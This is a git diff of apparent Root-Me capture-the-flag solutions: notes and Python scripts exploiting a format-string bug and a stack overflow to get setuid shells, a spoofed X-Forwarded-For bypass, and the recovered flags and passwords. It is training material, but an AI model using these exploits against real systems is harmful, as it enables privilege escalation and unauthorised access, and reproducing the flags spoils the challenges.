diff --git a/app-system/elf-x86-format-string-bug-basic-2/artifacts/Makefile b/app-system/elf-x86-format-string-bug-basic-2/artifacts/Makefile new file mode 100644 index 0000000..7382d8d --- /dev/null +++ b/app-system/elf-x86-format-string-bug-basic-2/artifacts/Makefile @@ -0,0 +1,28 @@ +CHALLENGE=ch14 +USER=app-systeme-$(CHALLENGE) +USER_CRACKED=$(USER)-cracked + +CC=gcc +CFLAGS=-m32 -no-pie +LDFLAGS=-z noexecstack + +SRC=$(CHALLENGE).c +OBJ=$(SRC:.c=.o) +BIN=$(CHALLENGE) + +.DEFAULT_GOAL := challenge +.PHONY : clean all + +$(BIN): $(OBJ) + @echo "Compiling..." + $(CC) -o $@ $(SRC) $(LDFLAGS) $(CFLAGS) + +challenge: $(BIN) + @echo "Applying permissions..." + rm -f $(OBJ) + chown $(USER_CRACKED):$(USER) $(BIN) .passwd Makefile $(SRC) + chmod 400 .passwd + chmod 440 $(SRC) Makefile + chmod 550 $(BIN) + chmod u+s $(BIN) + diff --git a/app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14 b/app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14 new file mode 100755 index 0000000..012321e Binary files /dev/null and b/app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14 differ diff --git a/app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14.c b/app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14.c new file mode 100644 index 0000000..e581374 --- /dev/null +++ b/app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14.c @@ -0,0 +1,37 @@ +#include +#include +#include +#include + +int main( int argc, char ** argv ) + +{ + + int var; + int check = 0x04030201; + + char fmt[128]; + + if (argc <2) + exit(0); + + memset( fmt, 0, sizeof(fmt) ); + + printf( "check at 0x%x\n", &check ); + printf( "argv[1] = [%s]\n", argv[1] ); + + snprintf( fmt, sizeof(fmt), argv[1] ); + + if ((check != 0x04030201) && (check != 0xdeadbeef)) + printf ("\nYou are on the right way !\n"); + + printf( "fmt=[%s]\n", fmt ); + printf( "check=0x%x\n", check ); + + if (check==0xdeadbeef) + { + printf("Yeah dude ! You win !\n"); + setreuid(geteuid(), geteuid()); + system("/bin/bash"); + } +} diff --git a/app-system/elf-x86-format-string-bug-basic-2/notes.org b/app-system/elf-x86-format-string-bug-basic-2/notes.org new file mode 100644 index 0000000..f440b48 --- /dev/null +++ b/app-system/elf-x86-format-string-bug-basic-2/notes.org @@ -0,0 +1,250 @@ +* ELF x86 - Format string bug basic 2 + +Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt + +Aufgabe +Einstellungen der Umgebung +PIE Position Independent Executable pas_valide.svg?1566650180 +RelRO Read Only relocations pas_valide.svg?1566650180 +NX Non-Executable Stack valide.svg?1566650190 +Heap exec Non-Executable Heap valide.svg?1566650190 +ASLR Address Space Layout Randomization pas_valide.svg?1566650180 +SF Source Fortification pas_valide.svg?1566650180 +SSP Stack-Smashing Protection valide.svg?1566650190 +SRC Zugriff auf den Source code valide.svg?1566650190 +Quellcode +#+begin_src C + #include + #include + #include + #include + + int main( int argc, char ** argv ) + { + int var; + int check = 0x04030201; + + char fmt[128]; + + if (argc <2) + exit(0); + + memset( fmt, 0, sizeof(fmt) ); + + printf( "check at 0x%x\n", &check ); + printf( "argv[1] = [%s]\n", argv[1] ); + + snprintf( fmt, sizeof(fmt), argv[1] ); + + if ((check != 0x04030201) && (check != 0xdeadbeef)) + printf ("\nYou are on the right way !\n"); + + printf( "fmt=[%s]\n", fmt ); + printf( "check=0x%x\n", check ); + + if (check==0xdeadbeef) + { + printf("Yeah dude ! You win !\n"); + setreuid(geteuid(), geteuid()); + system("/bin/bash"); + } + } +#+end_src + +Zugangsdaten für die Übung +#+begin_quote +Host challenge02.root-me.org +Protokoll SSH +Port 2222 +Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org +Benutzername app-systeme-ch14 +Passwort app-systeme-ch14 +#+end_quote + +* Investigation Log + +** Downloaded challenge files + +Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=. + +Makefile confirms build flags: +- =-m32 -no-pie= +- =-z noexecstack= + +This matches challenge metadata: no PIE, NX enabled, no ASLR on target. + +** Vulnerability + +The bug is here: + +#+begin_src c +snprintf(fmt, sizeof(fmt), argv[1]); +#+end_src + +=argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory. + +Target variable: + +#+begin_src c +int check = 0x04030201; +... +if (check == 0xdeadbeef) { + system("/bin/bash"); +} +#+end_src + +** Stack argument offset discovery + +Bruteforce payload: =AAAA.%$x=. + +Result: at offset =9= we get =41414141=. + +So first 4 bytes of our payload are interpreted as argument 9. + +** Write strategy + +Need to write =0xdeadbeef= into =check=. + +Used two half-word writes with =%hn=: +- lower half (addr): =0xbeef= (=48879=) +- upper half (addr+2): =0xdead= (=57005=) + +Payload layout: +- 4 bytes: =p32(check_addr)= +- 4 bytes: =p32(check_addr+2)= +- format tail: =%11$48871x%9$hn%12$8126x%10$hn= + +Why those paddings: +- first 8 bytes already count as printed characters +- 48871 + 8 = 48879 (0xbeef) -> first =%hn= +- 8126 more chars -> 57005 (0xdead) -> second =%hn= + +** Address behavior and PTY note + +=check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions. + +For reliable exploit: +- probe =check= address with same payload length and PTY mode +- immediately run exploit in PTY mode + +Observed stable PTY probe address: =0xbffffb88=. + +** Successful exploitation + +Exploit output: +- =check=0xdeadbeef= +- =Yeah dude ! You win != +- effective uid switched to =app-systeme-ch14-cracked= + +Recovered password: + +#+begin_quote +1l1k3p0Rn&P0pC0rn +#+end_quote + +* Helper Scripts + +- =scripts/find_offset.py=: brute-force the format-string stack offset. +- =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=. + +** Note: exploit implementation without struct.pack + +The exploit script no longer uses =struct.pack(" bytes: + value &= 0xFFFFFFFF + return bytes(( + value & 0xFF, + (value >> 8) & 0xFF, + (value >> 16) & 0xFF, + (value >> 24) & 0xFF, + )) +#+end_src + +This produces the same 4-byte layout as =struct.pack(" bytes =88 fb ff bf= +- =0xbffffb8a= -> bytes =8a fb ff bf= + +So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=. + +* Solution Explanation + +1) Identify the bug + +The program calls: + +#+begin_src c +snprintf(fmt, sizeof(fmt), argv[1]); +#+end_src + +User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=). + +2) Define the win condition + +The shell is spawned only if: + +#+begin_src c +if (check == 0xdeadbeef) { + setreuid(geteuid(), geteuid()); + system("/bin/bash"); +} +#+end_src + +So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=. + +3) Find where our bytes land in variadic arguments + +Using marker payloads like =AAAA.%$x=, we detect when =41414141= appears. + +Observed offset: =9=. + +Meaning: +- bytes 0..3 of payload are read as argument 9 +- bytes 4..7 of payload are read as argument 10 + +4) Choose a safe write primitive + +Writing full 32-bit with one =%n= is possible but impractical due to huge padding. + +Use two half-word writes with =%hn=: +- write lower 16 bits (=0xbeef=) to =check= +- write upper 16 bits (=0xdead=) to =check+2= + +5) Build the payload + +Payload bytes: +- first 4 bytes: little-endian address of =check= +- next 4 bytes: little-endian address of =check+2= +- then format tail: =%11$48871x%9$hn%12$8126x%10$hn= + +Padding math: +- 8 raw address bytes are already counted as printed chars +- need first total count =48879= (=0xbeef=): print =48871= extra chars +- after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars + +6) Handle runtime detail (PTY stability) + +The stack address printed for =check= is stable only for the same invocation style. + +PTY vs non-PTY shifts addresses. Reliable method: +- probe address in PTY mode with same payload length +- exploit immediately in PTY mode with same layout + +7) Confirm success + +Successful run shows: +- =check=0xdeadbeef= +- =Yeah dude ! You win != +- effective identity =app-systeme-ch14-cracked= +- readable flag/password file =.passwd= + +Recovered password: + +#+begin_quote +1l1k3p0Rn&P0pC0rn +#+end_quote diff --git a/app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py b/app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py new file mode 100755 index 0000000..33334c2 --- /dev/null +++ b/app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python3 +import base64 +import re +import shlex + +import paramiko + + +HOST = "challenge02.root-me.org" +PORT = 2222 +USER = "app-systeme-ch14" +PASSWORD = "app-systeme-ch14" +BIN = "/challenge/app-systeme/ch14/ch14" + + +FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn" + + +def p32_le(value: int) -> bytes: + value &= 0xFFFFFFFF + return bytes( + ( + value & 0xFF, + (value >> 8) & 0xFF, + (value >> 16) & 0xFF, + (value >> 24) & 0xFF, + ) + ) + + +def make_remote_cmd(payload: bytes) -> str: + b64 = base64.b64encode(payload).decode() + py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])" + return "python3 -c " + shlex.quote(py) + + +def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str: + cmd = make_remote_cmd(payload) + _, stdout, _ = ssh.exec_command(cmd, get_pty=pty) + return stdout.read().decode("latin-1", "ignore") + + +def main() -> None: + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10) + + try: + total_len = 8 + len(FMT_TAIL) + probe = b"A" * total_len + + probe_out = run_read_all(ssh, probe, pty=True) + m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out) + if not m: + raise RuntimeError("could not parse check address from probe output") + check_addr = int(m.group(1), 16) + print(f"[+] check address: 0x{check_addr:08x}") + + payload = p32_le(check_addr) + payload += p32_le(check_addr + 2) + payload += FMT_TAIL + + if len(payload) != total_len: + raise RuntimeError("payload length changed; probe and exploit would desync") + + cmd = make_remote_cmd(payload) + stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True) + stdin.write("id\n") + stdin.write("cat .passwd\n") + stdin.write("exit\n") + stdin.flush() + + out = stdout.read().decode("latin-1", "ignore") + print(out) + + if "check=0xdeadbeef" in out: + print("[+] exploitation successful") + else: + print("[-] exploitation failed") + finally: + ssh.close() + + +if __name__ == "__main__": + main() diff --git a/app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py b/app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py new file mode 100755 index 0000000..3798215 --- /dev/null +++ b/app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +import base64 +import re +import shlex + +import paramiko + + +HOST = "challenge02.root-me.org" +PORT = 2222 +USER = "app-systeme-ch14" +PASSWORD = "app-systeme-ch14" +BIN = "/challenge/app-systeme/ch14/ch14" + + +def run_payload(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str: + b64 = base64.b64encode(payload).decode() + py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])" + cmd = "python3 -c " + shlex.quote(py) + _, stdout, _ = ssh.exec_command(cmd, get_pty=pty) + return stdout.read().decode("latin-1", "ignore") + + +def main() -> None: + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10) + + try: + found = None + for i in range(1, 80): + payload = f"AAAA.%{i}$x".encode() + out = run_payload(ssh, payload) + m = re.search(r"fmt=\[(.*)\]", out) + if not m: + continue + fmt_out = m.group(1).lower() + if "41414141" in fmt_out: + found = i + print(f"[+] offset found: {i}") + print(f"[+] fmt output: {m.group(1)}") + break + + if found is None: + print("[-] offset not found in tested range") + finally: + ssh.close() + + +if __name__ == "__main__": + main() diff --git a/app-system/elf-x86-stack-buffer-overflow-basic-1/helper_exploit_password.py b/app-system/elf-x86-stack-buffer-overflow-basic-1/helper_exploit_password.py new file mode 100644 index 0000000..f0d602e --- /dev/null +++ b/app-system/elf-x86-stack-buffer-overflow-basic-1/helper_exploit_password.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python3 +import time + +import paramiko + +HOST = "challenge02.root-me.org" +PORT = 2222 +USER = "app-systeme-ch13" +PASSWORD = "app-systeme-ch13" + + +def drain(channel: paramiko.Channel, loops: int = 20, delay: float = 0.2) -> str: + chunks = [] + for _ in range(loops): + time.sleep(delay) + while channel.recv_ready(): + chunks.append(channel.recv(65535).decode("utf-8", errors="replace")) + return "".join(chunks) + + +def run() -> None: + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect( + hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15 + ) + try: + shell = client.invoke_shell() + banner = drain(shell, loops=10) + if banner: + print(banner, end="") + + exploit = ( + '(python3 -c "import sys; ' + "sys.stdout.buffer.write(b'A'*40+b'\\xef\\xbe\\xad\\xde')\"; " + "cat) | ./ch13\n" + ) + shell.send(exploit.encode()) + print(drain(shell, loops=12), end="") + + shell.send(b"id\n") + shell.send(b"cat .passwd\n") + shell.send(b"exit\n") + print(drain(shell, loops=20), end="") + finally: + client.close() + + +if __name__ == "__main__": + run() diff --git a/app-system/elf-x86-stack-buffer-overflow-basic-1/helper_recon.py b/app-system/elf-x86-stack-buffer-overflow-basic-1/helper_recon.py new file mode 100644 index 0000000..8bf0a28 --- /dev/null +++ b/app-system/elf-x86-stack-buffer-overflow-basic-1/helper_recon.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python3 +import paramiko + +HOST = "challenge02.root-me.org" +PORT = 2222 +USER = "app-systeme-ch13" +PASSWORD = "app-systeme-ch13" + + +def run() -> None: + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect( + hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15 + ) + try: + commands = [ + "pwd", + "ls -la", + "file ch13", + "checksec --file=ch13 || true", + "./ch13 <<<'AAAA'", + ] + for cmd in commands: + stdin, stdout, stderr = client.exec_command(cmd) + out = stdout.read().decode("utf-8", errors="replace") + err = stderr.read().decode("utf-8", errors="replace") + print(f"--- $ {cmd} ---") + if out: + print(out, end="" if out.endswith("\n") else "\n") + if err: + print("[stderr]") + print(err, end="" if err.endswith("\n") else "\n") + finally: + client.close() + + +if __name__ == "__main__": + run() diff --git a/app-system/elf-x86-stack-buffer-overflow-basic-1/notes.org b/app-system/elf-x86-stack-buffer-overflow-basic-1/notes.org new file mode 100644 index 0000000..a22677e --- /dev/null +++ b/app-system/elf-x86-stack-buffer-overflow-basic-1/notes.org @@ -0,0 +1,97 @@ +* ELF x86 - Stack buffer overflow basic 1 +Aufgabe +Einstellungen der Umgebung +PIE Position Independent Executable pas_valide.svg?1566650180 +RelRO Read Only relocations pas_valide.svg?1566650180 +NX Non-Executable Stack pas_valide.svg?1566650180 +Heap exec Non-Executable Heap pas_valide.svg?1566650180 +ASLR Address Space Layout Randomization pas_valide.svg?1566650180 +SF Source Fortification pas_valide.svg?1566650180 +SRC Zugriff auf den Source code valide.svg?1566650190 +Quellcode +#+begin_src C + #include + #include + #include + #include + + int main() + { + + int var; + int check = 0x04030201; + char buf[40]; + + fgets(buf,45,stdin); + + printf("\n[buf]: %s\n", buf); + printf("[check] %p\n", check); + + if ((check != 0x04030201) && (check != 0xdeadbeef)) + printf ("\nYou are on the right way!\n"); + + if (check == 0xdeadbeef) + { + printf("Hell yeah! You win!\nOpening your shell...\n"); + setreuid(geteuid(), geteuid()); + system("/bin/bash"); + printf("Shell closed! Bye.\n"); + } + return 0; + } +#+end_src + +#+begin_quote +Zugangsdaten für die Übung +Host challenge02.root-me.org +Protokoll SSH +Port 2222 +Zugang per SSH ssh -p 2222 app-systeme-ch13@challenge02.root-me.org +Benutzername app-systeme-ch13 +Passwort app-systeme-ch13 +#+end_quote + +#+begin_src sh +python3 -c "import sys; sys.stdout.buffer.write(b'A'*(40) + b'\xef\xbe\xad\xde')" | ./ch13 +#+end_src + +** Findings (live target) + +- Remote path: =/challenge/app-systeme/ch13= +- Binary: =ch13: setuid ELF 32-bit, dynamically linked, not stripped= +- Effective mitigations from runtime check: + - Partial RELRO + - No stack canary + - NX enabled + - No PIE + - ASLR OFF (on target host) +- Vulnerability: =fgets(buf,45,stdin)= writes up to 44 bytes into =char buf[40]=, overflowing 4 bytes into adjacent =check=. +- Target value: overwrite =check= from =0x04030201= to =0xdeadbeef= (little-endian bytes =\xef\xbe\xad\xde=). + +** Working exploitation flow + +- Basic trigger (proves control of =check=): + +#+begin_src sh +python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xef\xbe\xad\xde')" | ./ch13 +#+end_src + +- To keep stdin open for the spawned SUID shell, use a pipeline with =cat=: + +#+begin_src sh +(python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\xef\xbe\xad\xde')"; cat) | ./ch13 +id +cat .passwd +exit +#+end_src + +- Observed privilege in spawned shell: + - =uid=1213(app-systeme-ch13-cracked)= + - =gid=1113(app-systeme-ch13)= +- Retrieved validation password: + - =1w4ntm0r3pr0np1s= + +** Helper scripts + +- =helper_recon.py=: SSH recon script (pwd, ls, file, checksec, smoke run). +- =helper_exploit_password.py=: SSH interactive exploit script that keeps stdin open and reads =.passwd=. diff --git a/web-server/backup-file/notes.org b/web-server/backup-file/notes.org new file mode 100644 index 0000000..86cd15d --- /dev/null +++ b/web-server/backup-file/notes.org @@ -0,0 +1,4 @@ +* Backup file + +Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Backup-file +http://challenge01.root-me.org/web-serveur/ch11/ diff --git a/web-server/html-source-code/notes.org b/web-server/html-source-code/notes.org index d648f61..25aab99 100644 --- a/web-server/html-source-code/notes.org +++ b/web-server/html-source-code/notes.org @@ -1,6 +1,8 @@ * HTML - Source code +Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTML + Suchen Sie nicht zu weit weg [[./index.html]] diff --git a/web-server/http-ip-restriction-bypass/index.html b/web-server/http-ip-restriction-bypass/index.html new file mode 100644 index 0000000..00d7ba0 --- /dev/null +++ b/web-server/http-ip-restriction-bypass/index.html @@ -0,0 +1,27 @@ + + + + Secured Intranet + + + Your IP ::ffff:94.135.236.24 do not belong to the LAN. +

Intranet

+
+

+ + +

+

+ + +

+

+ +

+

+ You should authenticate because you're not on the LAN. +

+
+ + + diff --git a/web-server/http-ip-restriction-bypass/notes.org b/web-server/http-ip-restriction-bypass/notes.org new file mode 100644 index 0000000..d32d244 --- /dev/null +++ b/web-server/http-ip-restriction-bypass/notes.org @@ -0,0 +1,40 @@ +* HTTP - IP restriction bypass + +Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTTP-IP-restriction-bypass +Description: Nur lokale Benutzer können auf die Seite zugreifen + +Aufgabe +#+begin_quote +Liebe Kollegen, + +Wir verwalten jetzt die Verbindungen zum Intranet über private IP-Adressen, so dass es nicht mehr notwendig ist, sich mit einem Benutzernamen/Passwort anzumelden, wenn Sie bereits mit dem internen Firmennetz verbunden sind. + +Herzliche Grüße, + +Der Netzverwalter +#+end_quote + +----- + +Challenge Website: http://challenge01.root-me.org/web-serveur/ch68/ + +Analyse +- Initial request: + - `curl -i "http://challenge01.root-me.org/web-serveur/ch68/"` + - Server responds with login page and message: `Your IP ::ffff: do not belong to the LAN.` +- Header tests (IP spoofing candidates): + - `X-Forwarded-For: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected. + - `Client-IP: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected. + - `X-Client-IP: 127.0.0.1` -> ignored by app. +- Working bypass: + - `X-Forwarded-For: 192.168.1.10` (also works with `10.0.0.42`) + - `Client-IP: 192.168.1.10` also works. + - App trusts spoofable headers and only checks if IP is in private/LAN ranges. + +Exploit command +#+begin_src bash +curl -i -H "X-Forwarded-For: 192.168.1.10" "http://challenge01.root-me.org/web-serveur/ch68/" +#+end_src + +Flag +- `Ip_$po0Fing` diff --git a/web-server/weak-password/notes.org b/web-server/weak-password/notes.org new file mode 100644 index 0000000..dbd140c --- /dev/null +++ b/web-server/weak-password/notes.org @@ -0,0 +1,5 @@ +* Weak Password + +Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Weak-password + +admin:admin